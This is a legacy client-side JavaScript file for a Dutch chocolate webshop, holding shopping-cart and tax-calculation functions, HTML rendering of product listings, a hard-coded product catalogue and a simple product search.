	// define buildUp Methods for StandAloneElements
	function createLine(){
		myLine = new clsObject("OrderBody")
			myLine.LinePos						=	xmlOHeader.childNodes.length;
			myLine.ProductNo					=	"";
			myLine.Name							=	"";
			myLine.Description					=	"";
			myLine.PriceUserEntry				=	"";
			myLine.PriceUnit					=	"1";
			myLine.MinOrder						=	"1";
			myLine.QuantityUnit					=	"";
			myLine.QuantityAmount				=	"1";
			myLine.TaxClass						=	"0";
			myLine.TaxRate						=	"0";
			myLine.TaxAmountLineTotalLC			=	"0";
			myLine.TaxAmountLineTotalSC			=	"0";
			myLine.DiscountRate					=	"0";
			myLine.DiscountNetSingleUnitLC		=	"0";
			myLine.DiscountGrossSingleUnitLC	=	"0";
			myLine.DiscountNetLineTotalLC		=	"0";
			myLine.DiscountGrossLineTotalLC		=	"0";
			myLine.DiscountNetSingleUnitSC		=	"0";
			myLine.DiscountGrossSingleUnitSC	=	"0";
			myLine.DiscountNetLineTotalSC		=	"0";
			myLine.DiscountGrossLineTotalSC		=	"0";
			myLine.PriceNetSingleUnitLC			=	"0";
			myLine.PriceGrossSingleUnitLC		=	"0";
			myLine.PriceNetLineTotalLC			=	"0";
			myLine.PriceGrossLineTotalLC		=	"0";
			myLine.PriceNetSingleUnitSC			=	"0";
			myLine.PriceGrossSingleUnitSC		=	"0";
			myLine.PriceNetLineTotalSC			=	"0";
			myLine.PriceGrossLineTotalSC		=	"0";
			myLine.WeightUnit					=	"";
			myLine.WeightAmountSingleUnit		=	"0";
			myLine.WeightAmountLineTotal		=	"0";
			// remove
			myLine.addNode("Internal");
	// return Line-Object to Caller
	return myLine;
	};
// 
	function addToBag(anElement,Amount){
		with(this){
			var taxamount = taxarea[parseInt(xmlConfig.taxarea)][parseInt(anElement.Tax) + 1];
			var update = -1;
			myLines = xmlOHeader.childNodes
			for(var i=0;i<myLines.length;i++){
				if(myLines[i].ProductNo==anElement.Prod_nr){
					update = i;
					break;
					};
				};
			// product already in shoppingcard
			if(update>-1){
				// detect position of prod_nr in shoppingcart
				myLines[i].QuantityAmount = Amount;
				if(boolPriceTaxIncl){
					myLines[i].PriceNetLineTotalLC = anElement.Price * Amount * ( 1 - taxamount/( 100 + taxamount ));
					myLines[i].PriceGrossLineTotalLC = anElement.Price * Amount;
					}
				else{
					myLines[i].PriceNetLineTotalLC = anElement.Price * Amount;
					myLines[i].PriceGrossLineTotalLC = anElement.Price * Amount * ( 1 + taxamount/100 );
					};
				}
			// add product to shoppingcart
			else{
				myLine = createLine();
				myLine.ProductNo = anElement.Prod_nr;
				myLine.Name = anElement.Title;
				myLine.Description = anElement.Subtitle;
				myLine.QuantityAmount = Amount;
				myLine.QuantityUnit = anElement.Unitdesc;
				myInternal = myLine.getFirstItem("Internal")
					myInternal.price = anElement.Price;
					myInternal.address = anElement.LnkAdress;
					myInternal.navIndex = anElement.NavIndex;
					myInternal.discount = anElement.Discount;
					myInternal.minOrder = anElement.Minorder;
					myInternal.variants = anElement.Variants;
					myInternal.catDiscount = anElement.catDiscount;
				
				myLine.WeightAmountSingleUnit = parseFloat(anElement.Weight);
				myLine.WeightAmountLineTotal = parseFloat(anElement.Weight) * parseInt(Amount);
				
				myLine.TaxClass = anElement.Tax;
				myLine.TaxRate = taxamount;
				
				myLine.PriceUnit = anElement.PriceUnit;
				
				if(boolPriceTaxIncl){
					myLine.PriceNetSingleUnitLC = parseFloat(anElement.Price) * ( 1 - taxamount/( 100 + taxamount ) );
					myLine.PriceNetLineTotalLC = parseFloat(anElement.Price) * parseInt(Amount) * ( 1 - taxamount/( 100 + taxamount ) );
					myLine.PriceGrossSingleUnitLC = parseFloat(anElement.Price);
					myLine.PriceGrossLineTotalLC = parseFloat(anElement.Price) * parseInt(Amount);
					}
				else{
					myLine.PriceNetSingleUnitLC = parseFloat(anElement.Price);
					myLine.PriceNetLineTotalLC = parseFloat(anElement.Price) * parseInt(Amount);
					myLine.PriceGrossSingleUnitLC = parseFloat(anElement.Price) * ( 1 + taxamount/100 );
					myLine.PriceGrossLineTotalLC = parseFloat(anElement.Price) * parseInt(Amount) * ( 1 + taxamount/100 );
					};
				myLines[myLines.length] = myLine;
				};
			safeData();
			var dummyQueryString = "";
			if(Element){
				dummyQueryString += "productId=" + anElement.Prod_No + "&quantity=" + Amount;
				};
			location.href="orderform.htm?" + dummyQueryString;
			};
		};
// ** 1105
	function TElementPrint(){
		var boolDisplArtId = "true";
		var variants, variantString = "";
		variants = this.Variants.split("@");
		for(var i=0; i<variants.length - 1; i++){
			variantString += "search" + i + "_EQ_" + variants[i].split(";")[1] + "_AND_"; 
			};
		variantString += "{EOL}";
		
		var addToBag = '<img src="assets/images/btnaddtobag.gif" width="83" height="24" alt="Note item" border="0" align="bottom" hspace="0" vspace="0" class="main">';
		var rString = '<TR><TD align="right" class="PROVIEWBODY">';
		if(this.Image!=""){
			if(this.LnkAdress!="#DROP#") rString += "<a href=\"" + this.LnkAdress + "?defaultVariants=" + variantString + "&categoryId=" + this.NavIndex + "\">";
			rString += "<img src='" + this.Image + "' border=0";
			if(this.Width!=0) rString += " width=" + this.Width;
			if(this.Height!=0) rString += " height=" + this.Height;
			rString += " align=\"top\">";
			if(this.LnkAdress!="#DROP#") rString += "</a>";
			};
		
		rString += '</TD><TD class="PROVIEWBODY" valign="top" width="100%"><TABLE border="0" cellpadding="1" cellspacing="0" width="100%">';
		if(boolDisplArtId) rString += '<TR><TD class="PROVIEWARTID">' + this.Prod_nr + "</TD></TR>";
		rString += "<TR><TD class=\"PROVIEWBEZ1\">"
		if(this.LnkAdress!="#DROP#") rString += "<a href=\"" + this.LnkAdress + "?defaultVariants=" + variantString + "&categoryId=" + this.NavIndex + "\">"
		rString += this.Title;
		if(this.LnkAdress!="#DROP#") rString += "</a>";
		rString += "</TD></TR>"
			+ "<TR><TD class=\"PROVIEWBEZ2\">" + this.Subtitle;
		if(variants.length>0) rString += "<br>";
		for(var i=0; i<variants.length - 1; i++){
			rString	+= "<nobr><strong>" + variants[i].split(";")[0] + ": " + variants[i].split(";")[1] + "</strong>"
			if(i<variants.length-2) rString += ", ";
			rString += "</nobr>";
			};
		rString += "</TD></TR>";
		if(this.displMode==0||this.displMode==2){
			rString	+= "<TR><TD>";
			rString += "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";
			if(this.catDiscount==0){
				rString += "<tr valign=\"top\"><td class=\"PROVIEWPRICE\" nowrap>";
				rString += TFormatCurrency(displPrice(this.Price,this.Tax) / this.PriceUnit, objPriCurrency);
				if(boolDisplSecCurr) rString += charSecCurrDelimiter + TFormatCurrency(displPrice(this.Price,this.Tax) / this.PriceUnit, objSecCurrency);
				rString += "</td></tr>";
				}
			else{
				if(this.Discount==""||this.Discount=="{EOL}"){
					rString += "<tr valign=\"top\">";
					rString += "<td nowrap>Before:&nbsp;</td>";
					rString += "<td class=\"PROVIEWPRICESTROKEN\" nowrap>";
					rString += TFormatCurrency(displPrice(this.Price,this.Tax) / this.PriceUnit, objPriCurrency);
					rString += "</td>"
					rString += "</tr>";
					rString += "<tr valign=\"top\">";
					rString += "<td nowrap>Now only:&nbsp;</td>";
					rString += "<td class=\"PROVIEWPRICE\" nowrap>";
					rString += TFormatCurrency(displPrice(this.Price * (1 - this.catDiscount / 100 ),this.Tax) / this.PriceUnit, objPriCurrency);
					if(boolDisplSecCurr) rString += charSecCurrDelimiter + TFormatCurrency(displPrice(this.Price - ( this.Price * this.catDiscount / 100 ),this.Tax) / this.PriceUnit, objSecCurrency);
					rString += "</td>"
					rString += "</tr>";
					}
				else{
					rString += "<tr valign=\"top\"><td class=\"PROVIEWPRICE\" nowrap>";
					rString += TFormatCurrency(displPrice(this.Price,this.Tax) / this.PriceUnit, objPriCurrency);
					if(boolDisplSecCurr) rString += charSecCurrDelimiter + TFormatCurrency(displPrice(this.Price,this.Tax) / this.PriceUnit, objSecCurrency);
					rString += "</td></tr>";
					};
				};
			rString += "</table>";
			rString += "</TD></TR>";
			}
		else if(this.displMode==3){
			rString	+= "<TR><TD class=\"PROVIEWPRICE\" nowrap>";
			rString += "Price on demand";
			rString += "</TD></TR>";
			};
		if(this.displMode==0){
			rString += "<TR><TD>&nbsp;</TD></TR>"
				+ "<TR><TD><a href=\"JavaScript:addToBag(Entry[" + this.Index + "]," + this.Minorder + ");\">" + addToBag + "</a></TD></TR>";
			};
		rString += "<TR><TD>&nbsp;</TD></TR>"
			+ "</TABLE>"
			+ "</td></tr>";
		return(rString);
		};
// ** 1106
	function Element(Index,Image,Width,Height,Prod_nr,Title,Subtitle,Manufac,Price,Weight,Tax,PriceUnit,Unitdesc,NavIndex,Options,LnkAdress,Discount,Minorder,Category,catDiscount,displMode){
		this.Index = Index;
		this.Image = Image;this.Width = Width;
		this.Height = Height;this.Prod_nr = Prod_nr;
		this.Title = Title;this.Subtitle = Subtitle;
		this.Manufac = Manufac;this.Price = Price;
		this.Weight = Weight;this.Tax = Tax;
		this.PriceUnit = PriceUnit;this.Unitdesc = Unitdesc;
		this.NavIndex = NavIndex;
		this.Print = TElementPrint;this.Variants = Options;
		this.LnkAdress = LnkAdress;this.Discount = Discount;
		this.Minorder = Minorder;this.Category = Category;
		this.catDiscount = catDiscount;
		this.displMode = displMode;
		};
// ** 1107
	var Entry = new Array();
// ** 1108
	
		Entry[0] = new Element(
		0, "assets/images/nopicture.gif",
		55, 38,
		"LUC10", "Chocolade luchtballonnen",
		"melk chocolade", "",
		"7.87", "0",
		"1", 1,
		"Pieces", "0",
		"", "pd-240790038.htm",
		"", 1,
		"1", "0",
		 0)
	
		Entry[1] = new Element(
		1, "assets/images/nopicture.gif",
		55, 38,
		"LET110", "Chocolade letter",
		"melk chocolade 5cm x 10 cm", "",
		"9.68", "0",
		"1", 1,
		"Milliliter", "3",
		"", "pd-1358279679.htm",
		"", 1,
		"2", "0",
		 0)
	
		Entry[2] = new Element(
		2, "assets/images/nopicture.gif",
		55, 38,
		"LUC20", "Chocolade luchtballonnen",
		"Pure chocolade", "",
		"7.87", "0",
		"1", 1,
		"", "0",
		"", "pd1081669143.htm",
		"", 1,
		"1", "0",
		 0)
	
		Entry[3] = new Element(
		3, "assets/images/nopicture.gif",
		55, 38,
		"LUC30", "Chocolade luchtballonnen",
		"Witte chocolade", "",
		"7.87", "0",
		"1", 1,
		"Milliliter", "0",
		"", "pd-755284451.htm",
		"", 1,
		"1", "0",
		 0)
	
		Entry[4] = new Element(
		4, "assets/images/nopicture.gif",
		55, 38,
		"LET120", "Chocolade letter",
		"Witte chocolade 5cm x 10 cm", "",
		"9.68", "0",
		"1", 1,
		"Milliliter", "3",
		"", "pd-59051863.htm",
		"", 1,
		"2", "0",
		 0)
	
		Entry[5] = new Element(
		5, "assets/images/nopicture.gif",
		55, 38,
		"LET130", "Chocolade letter",
		"Fondant chocolade 5cm x 10cm", "",
		"9.68", "0",
		"1", 1,
		"Milliliter", "3",
		"", "pd840944383.htm",
		"", 1,
		"2", "0",
		 0)
	
		Entry[6] = new Element(
		6, "assets/images/nopicture.gif",
		55, 38,
		"LET210", "Chocolade letter",
		"Melk chocolade 10cm x 20cm", "",
		"19.36", "0",
		"1", 1,
		"Milliliter", "3",
		"", "pd-474167995.htm",
		"", 1,
		"2", "0",
		 0)
	
		Entry[7] = new Element(
		7, "assets/images/nopicture.gif",
		55, 38,
		"LET220", "Chocolade letter",
		"Witte chocolade 10cm x 20cm", "",
		"19.36", "0",
		"1", 1,
		"Milliliter", "3",
		"", "pd-1220501253.htm",
		"", 1,
		"2", "0",
		 0)
	
		Entry[8] = new Element(
		8, "assets/images/nopicture.gif",
		55, 38,
		"LET230", "Chocolade letter",
		"Fondant chocolade 10cm x 20cm", "",
		"19.36", "0",
		"1", 1,
		"Milliliter", "3",
		"", "pd-1769079903.htm",
		"", 1,
		"2", "0",
		 0)
	
		Entry[9] = new Element(
		9, "assets/images/nopicture.gif",
		55, 38,
		"WEN110", "Chocolade wenskaart",
		"Melk chocolade 12cm x 10cm", "",
		"12.1", "0",
		"1", 1,
		"Milliliter", "4",
		"", "pd569782205.htm",
		"", 1,
		"3", "0",
		 0)
	
		Entry[10] = new Element(
		10, "assets/images/nopicture.gif",
		55, 38,
		"WEN120", "Chocolade wenskaart",
		"Witte chocolade 12cm x 10cm", "",
		"12.1", "0",
		"1", 1,
		"Milliliter", "4",
		"", "pd-1548088584.htm",
		"", 1,
		"3", "0",
		 0)
	
		Entry[11] = new Element(
		11, "assets/images/nopicture.gif",
		55, 38,
		"WEN130", "Chocolade wenskaart",
		"Fondant wenskaart", "",
		"12.1", "0",
		"1", 1,
		"Milliliter", "4",
		"", "pd-1750152730.htm",
		"", 1,
		"3", "0",
		 0)
	
		Entry[12] = new Element(
		12, "assets/images/nopicture.gif",
		55, 38,
		"WEN210", "Chocolade wenskaart",
		"Melk chocolade 20cm x 12cm", "",
		"18", "0",
		"1", 1,
		"Milliliter", "4",
		"", "pd-1265263996.htm",
		"", 1,
		"3", "0",
		 0)
	
		Entry[13] = new Element(
		13, "assets/images/nopicture.gif",
		55, 38,
		"WEN220", "Chocolade wenskaart",
		"Witte chocolade 20cm x 12cm", "",
		"18", "0",
		"1", 1,
		"Milliliter", "4",
		"", "pd-818047918.htm",
		"", 1,
		"3", "0",
		 0)
	
		Entry[14] = new Element(
		14, "assets/images/nopicture.gif",
		55, 38,
		"WEN230", "Chocolade wenskaart",
		"Fondant chocolade 20cm x 12cm", "",
		"18", "0",
		"1", 1,
		"Milliliter", "4",
		"", "pd1610193616.htm",
		"", 1,
		"3", "0",
		 0)
	
		Entry[15] = new Element(
		15, "assets/images/nopicture.gif",
		55, 38,
		"TRU1", "Chocolade truffels",
		"250 gr", "",
		"6.05", "250",
		"1", 1,
		"Gram", "5",
		"", "pd-1126497497.htm",
		"", 1,
		"4", "0",
		 0)
	
		Entry[16] = new Element(
		16, "assets/images/nopicture.gif",
		55, 38,
		"TRU2", "Chocolade truffels",
		"500 gr", "",
		"12.1", "500",
		"1", 1,
		"Gram", "5",
		"", "pd353261997.htm",
		"", 1,
		"4", "0",
		 0)
	
		Entry[17] = new Element(
		17, "assets/images/nopicture.gif",
		55, 38,
		"TRU3", "Chocolade truffels",
		"750 gr", "",
		"18.15", "0",
		"1", 1,
		"Milliliter", "5",
		"", "pd1748560803.htm",
		"", 1,
		"4", "0",
		 0)
	
		Entry[18] = new Element(
		18, "assets/images/nopicture.gif",
		55, 38,
		"TRU4", "Chocolade truffels",
		"1000 gr", "",
		"24.2", "0",
		"1", 1,
		"", "5",
		"", "pd-1629690231.htm",
		"", 1,
		"4", "0",
		 0)
	
		Entry[19] = new Element(
		19, "assets/images/nopicture.gif",
		55, 38,
		"DRA11", "Romig chocoladedrankje",
		"Koffie smaak 250 ml", "",
		"3.03", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd714700852.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[20] = new Element(
		20, "assets/images/nopicture.gif",
		55, 38,
		"DRA12", "Romig chocoladedrankje",
		"Likeur smaak 250 ml", "",
		"3.03", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd-116500517.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[21] = new Element(
		21, "assets/images/nopicture.gif",
		55, 38,
		"DRA13", "Romig chocoladedrankje",
		"Cappuccino smaak 250 ml", "",
		"3.03", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd1634864513.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[22] = new Element(
		22, "assets/images/nopicture.gif",
		55, 38,
		"DRA21", "Romig chocoladedrankje",
		"Koffie smaak 500 ml", "",
		"3.63", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd-813919337.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[23] = new Element(
		23, "assets/images/nopicture.gif",
		55, 38,
		"DRA22", "Romig chocoladedrankje",
		"Likeur smaak 500 ml", "",
		"3.63", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd267263901.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[24] = new Element(
		24, "assets/images/nopicture.gif",
		55, 38,
		"DRA23", "Romig chocoladedrankje",
		"Cappucino smaak 500 ml", "",
		"3.63", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd-1423449325.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[25] = new Element(
		25, "assets/images/nopicture.gif",
		55, 38,
		"DRA31", "Romig chocoladedrankje",
		"Koffie smaak 750 ml", "",
		"4.24", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd-561747079.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[26] = new Element(
		26, "assets/images/nopicture.gif",
		55, 38,
		"DRA32", "Romig chocoladedrankje",
		"Likeur smaak 750 ml", "",
		"4.24", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd1793524303.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[27] = new Element(
		27, "assets/images/nopicture.gif",
		55, 38,
		"DRA33", "Romig chocoladedrankje",
		"Cappucino smaak 750 ml", "",
		"4.24", "0",
		"1", 1,
		"Milliliter", "6",
		"", "pd928648469.htm",
		"", 1,
		"5", "0",
		 0)
	
		Entry[28] = new Element(
		28, "assets/images/nopicture.gif",
		55, 38,
		"ROO11", "Chocolade roos",
		"Melk chocolade 20 cm", "",
		"9.68", "0",
		"1", 1,
		"Centimeter", "7",
		"", "pd1201078065.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[29] = new Element(
		29, "assets/images/nopicture.gif",
		55, 38,
		"ROO11-1-1-1-1-1", "Chocolade roos",
		"Melk chocolade 20 cm", "",
		"9.68", "20",
		"1", 1,
		"Centimeter", "7",
		"", "pd-1173085825.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[30] = new Element(
		30, "assets/images/nopicture.gif",
		55, 38,
		"ROO12", "Chocolade roos",
		"Witte chocolade 20 cm", "",
		"9.68", "0",
		"1", 1,
		"Centimeter", "7",
		"", "pd-70058043.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[31] = new Element(
		31, "assets/images/nopicture.gif",
		55, 38,
		"ROO13", "Chocolade roos",
		"Fondant chocolade 20 cm", "",
		"9.68", "0",
		"1", 1,
		"Centimeter", "7",
		"", "pd1532714875.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[32] = new Element(
		32, "assets/images/nopicture.gif",
		55, 38,
		"ROO21", "Chocolade roos",
		"Melk chocolade 30 cm", "",
		"14.52", "0",
		"1", 1,
		"Centimeter", "7",
		"", "pd2077285921.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[33] = new Element(
		33, "assets/images/nopicture.gif",
		55, 38,
		"ROO22", "Chocolade roos",
		"Melk chocolade 30 cm", "",
		"14.52", "0",
		"1", 1,
		"Centimeter", "7",
		"", "pd1262900535.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[34] = new Element(
		34, "assets/images/nopicture.gif",
		55, 38,
		"ROO23", "Chocolade roos",
		"Melk chocolade 30 cm", "",
		"14.52", "0",
		"1", 1,
		"Centimeter", "7",
		"", "pd1036007997.htm",
		"", 1,
		"6", "0",
		 0)
	
		Entry[35] = new Element(
		35, "assets/images/nopicture.gif",
		55, 38,
		"FON", "Chocolade fondueset",
		"fondueset", "",
		"24.2", "0",
		"1", 1,
		"Milliliter", "8",
		"", "pd1337628536.htm",
		"", 1,
		"7", "0",
		 0)
	
		Entry[36] = new Element(
		36, "assets/images/nopicture.gif",
		55, 38,
		"Fon1", "Extra chocolade",
		"Melk chocolade 1000 gr", "",
		"10.29", "0",
		"1", 1,
		"Gram", "8",
		"", "pd-893113754.htm",
		"", 1,
		"7", "0",
		 0)
	
		Entry[37] = new Element(
		37, "assets/images/nopicture.gif",
		55, 38,
		"Fon2", "Extra chocolade",
		"Witte chocolade 1000 gr", "",
		"10.29", "0",
		"1", 1,
		"Gram", "8",
		"", "pd1637609220.htm",
		"", 1,
		"7", "0",
		 0)
	
		Entry[38] = new Element(
		38, "assets/images/nopicture.gif",
		55, 38,
		"Fon3", "Extra chocolade",
		"Fondant chocolade 1000 gr", "",
		"10.29", "0",
		"1", 1,
		"Gram", "8",
		"", "pd-1326580526.htm",
		"", 1,
		"7", "0",
		 0)
	
		Entry[39] = new Element(
		39, "assets/images/nopicture.gif",
		55, 38,
		"VOE1", "Chocolade voetbalschoen met bal",
		"Melk gecombineerd met witte chocolade", "",
		"14.46", "0",
		"1", 1,
		"Milliliter", "9",
		"", "pd4271614.htm",
		"", 1,
		"8", "0",
		 0)
	
		Entry[40] = new Element(
		40, "assets/images/nopicture.gif",
		55, 38,
		"VOE2", "Chocolade voetbalschoen met bal",
		"Fondant gecombineerd met witte chocolade", "",
		"14.46", "0",
		"1", 1,
		"Milliliter", "9",
		"", "pd1400110172.htm",
		"", 1,
		"8", "0",
		 0)
	
		Entry[41] = new Element(
		41, "assets/images/nopicture.gif",
		55, 38,
		"BOR21", "Chocolade borstbeeld",
		"Melk chocolade ", "",
		"42.35", "0",
		"1", 1,
		"Milliliter", "10",
		"", "pd1984375274.htm",
		"", 1,
		"9", "0",
		 0)
	
		Entry[42] = new Element(
		42, "assets/images/nopicture.gif",
		55, 38,
		"BOR22", "Chocolade borstbeeld",
		"Witte chocolade ", "",
		"42.35", "0",
		"1", 1,
		"Milliliter", "10",
		"", "pd2016971304.htm",
		"", 1,
		"9", "0",
		 0)
	
		Entry[43] = new Element(
		43, "assets/images/nopicture.gif",
		55, 38,
		"BOR23", "Chocolade borstbeeld",
		"Pure chocolade ", "",
		"42.35", "0",
		"1", 1,
		"Milliliter", "10",
		"", "pd1532501142.htm",
		"", 1,
		"9", "0",
		 0)
	
		Entry[44] = new Element(
		44, "assets/images/nopicture.gif",
		55, 38,
		"Prom01", "Paaspromotie 1",
		"Paasboeket", "",
		"18.15", "0",
		"1", 1,
		"Milliliter", "1",
		"", "pd1957219001.htm",
		"", 1,
		"10", "0",
		 0)
	
		Entry[45] = new Element(
		45, "assets/images/nopicture.gif",
		55, 38,
		"Prom02", "Paaspromotie",
		"Mooie paaseieren korf", "",
		"15.13", "0",
		"1", 1,
		"Milliliter", "2",
		"", "pd512870948.htm",
		"", 1,
		"11", "0",
		 0)
	
// ** 1109
	function SetupSearchEngineForm(){
		mySearchEngine = xmlConfig.getFirstItem("SearchEngine");
		if(mySearchEngine.term!="null") document.SearchEngine.Term.value = mySearchEngine.term;
		for(var i=0;i<document.SearchEngine.Mode.length;i++){
			if(i==mySearchEngine.mode) document.SearchEngine.Mode[i].selected = true;
			};
		if(mySearchEngine.maxPrice>0) document.SearchEngine.Maxprice.value = mySearchEngine.maxPrice;
		else{
			document.SearchEngine.Maxprice.value="";
			mySearchEngine.maxPrice = -1;
			};
		if(xmlConfig.getFirstItem("SearchEngine").ByCategory=="1"){
			for(var i=0;i<document.SearchEngine.navselect.length; i++){
				if(document.SearchEngine.navselect[i].value.split(';;')[2]==mySearchEngine.categoryId){
					xmlConfig.getFirstItem("SearchEngine").categoryIndex = document.SearchEngine.navselect[i].value.split(';;')[0];
					document.SearchEngine.navselect[i].selected = true;
					};
				};
			}
		else{
			xmlConfig.getFirstItem("SearchEngine").categoryIndex = "null";
			};
		};
// enable smartstore to display amount of found products ...
	var counter = 0;
// ** 1111b
	function SearchFor(Term,Mode){
	var foundItems = new Array();
	var itemPrice = 0; var currentCategory = 0;
		mySearchEngine = xmlConfig.getFirstItem("SearchEngine");
		if((Term!="null" && Term!="")||mySearchEngine.maxPrice>=0){
			if(Mode=="") Mode=0;
			Term = Term.toLowerCase();
			var result = "<form name=\"ProductIndex\" onSubmit=\"return false;\">";
			var matchCategory = true;
			var productCategory;
			for(var i=0;i<Entry.length;i++){
				if(xmlConfig.getFirstItem("SearchEngine").ByCategory=="1"){
					// Search for matching categories
					if(xmlConfig.getFirstItem("SearchEngine").categoryIndex!="null"&&xmlConfig.getFirstItem("SearchEngine").categoryIndex!="nada"){
						for(var j=0; j<Entry[i].Category.split(",").length; j++){
							matchCategory = (navigation[mySearchEngine.categoryIndex].categoryId == Entry[i].Category.split(",")[j]) ? true : false;
							if(matchCategory!=true){
								productCategory = getNavElementByCatID(Entry[i].Category.split(",")[j]);
								while(productCategory!=null&&matchCategory==false){
									if(productCategory.parentId!=null){
										if(navigation[productCategory.parentId].categoryId==xmlConfig.getFirstItem("SearchEngine").categoryId){
											currentCategory = Entry[i].Category.split(",")[j];
											matchCategory=true;
											break;
											}
										else productCategory = navigation[productCategory.parentId];
										}
									else{
										currentCategory = Entry[i].Category.split(",")[j];
										productCategory = null;
										};
									};
								}
							else{
								currentCategory = Entry[i].Category.split(",")[j];
								break;
								};
							};
						}
					else{
						currentCategory = Entry[i].Category.split(",")[0];
						matchCategory = true;
						};
					}
				else{
					currentCategory = Entry[i].Category.split(",")[0];
					matchCategory = true;
					};
				// Update current Category
				Entry[i].NavIndex = getNavElementByCatID(currentCategory).id;
				// Continue
				var foundDesc1 = Entry[i].Title.toLowerCase().indexOf(Term)!=-1;
				var foundDesc2 = Entry[i].Subtitle.toLowerCase().indexOf(Term)!=-1;
				var foundProdId = Entry[i].Prod_nr.toLowerCase().indexOf(Term)!=-1;
				var foundManufac = Entry[i].Manufac.toLowerCase().indexOf(Term)!=-1;
				// SearchFor All
				itemPrice = Entry[i].Price
				if(Entry[i].catDiscount!=0&&Entry[i].Discount==""){
					itemPrice = Entry[i].Price * (1 - Entry[i].catDiscount / 100 );
					};
				//
				itemPrice = displPrice(itemPrice, Entry[i].Tax);
				//
				if(Mode==0){
					if((foundDesc1 || foundDesc2 || foundProdId || foundManufac || Term=="null" || Term=="")&&chkMaxprice(itemPrice,mySearchEngine.maxPrice)&&matchCategory){
						counter++;
						foundItems[foundItems.length] = Entry[i];
						};
					};
				// SearchFor Description
				if(Mode==1){
					if((foundDesc1 || foundDesc2 || Term=="null" || Term=="")&&chkMaxprice(itemPrice,mySearchEngine.maxPrice)&&matchCategory){
						counter++;
						foundItems[foundItems.length] = Entry[i];
						};
					};
				// SearchFor ProdId
				if(Mode==2){
					if((foundProdId || Term=="null" || Term=="")&&chkMaxprice(itemPrice,mySearchEngine.maxPrice)&&matchCategory){
						counter++;
						foundItems[foundItems.length] = Entry[i];
						};
					};
				// SearchFor Manufac
				if(Mode==3){
					if((foundManufac || Term=="null" || Term=="")&&chkMaxprice(itemPrice,mySearchEngine.maxPrice)&&matchCategory){
						counter++;
						foundItems[foundItems.length] = Entry[i];
						};
					};
				};
			// found elements: foundItems.length
			for(var i=0; i<foundItems.length;i++){
				result += foundItems[i].Print();
				};
			result += "</form>";
			if(counter>0){
				mySearchEngine.init="false";
				return result;
				}
			else{
				if(mySearchEngine.init=="false")	return "<TR><TD colspan=\"2\" class=\"PROVIEWBODY\" nowrap>Sorry, no matching product was found. Please try again...</TD></TR>"
				else return("");
				};
			};
		if(mySearchEngine.init=="false") return "<TR><TD colspan=\"2\" class=\"PROVIEWBODY\" nowrap>You did not enter any search criteria. Please enter your search term.</TD></TR>"
		else return("");
		};
// ** 11112
	function chkMaxprice(aPrice,aMaxPrice){
		aMaxPrice = replace(aMaxPrice.toString(),",",".");
		aPrice = calculateCurrencyAmount(aPrice, objPriCurrency);
		if(parseFloat(aMaxPrice)>0){
			if(parseFloat(aPrice)<=parseFloat(aMaxPrice)) return(true)
			else return(false);
			}
		else return(true);
		};
// ** 1111b
	function displPrice(aPrice,aTaxindex){
		var taxamount = taxarea[xmlConfig.taxarea][parseInt(aTaxindex) + 1];
		if(boolDisplTaxIncl){
			if(boolPriceTaxIncl) return(aPrice)
			else return(aPrice * ( 1 + taxamount/100 ) );
			}
		else{
			if(boolPriceTaxIncl) return(aPrice * ( 1 - taxamount/( 100 + taxamount ) ) )
			else return(aPrice);
			};
		};
// ** 1113
	function callpage(address, defValues, NavIndex){
		xmlConfig.getFirstItem("QueryStringData").putValue(defValues);
		xmlConfig.navIndex = NavIndex.toString();
		safeData();
		location.href = address;
		};
// ** 1114
	function newSearch(){
	var queryString = ""; var site = "";
	var xmlSearchEngine = xmlConfig.getFirstItem("SearchEngine");
		xmlSearchEngine.init='false';
		safeData();
		queryString += "mode=" + xmlSearchEngine.mode
			+ "&term=" + escape(xmlSearchEngine.term)
			+ "&maxPrice=" + escape(xmlSearchEngine.maxPrice)
			+ "&categoryId=" + escape(xmlSearchEngine.categoryIndex);
		if(location.href.indexOf("?")==-1) location.href = "search.htm?" + queryString
		else location.href = location.href.substring(0, location.href.indexOf("?")) + "?" + queryString;
		};
// ** 1115
	function searchOnEnter(){
		if(window.event.keyCode==13){
			xmlConfig.getFirstItem('SearchEngine').maxPrice=valNumber(document.SearchEngine.Maxprice.value,'0','');
			xmlConfig.getFirstItem('SearchEngine').term=document.SearchEngine.Term.value;
			newSearch();
			};
		};











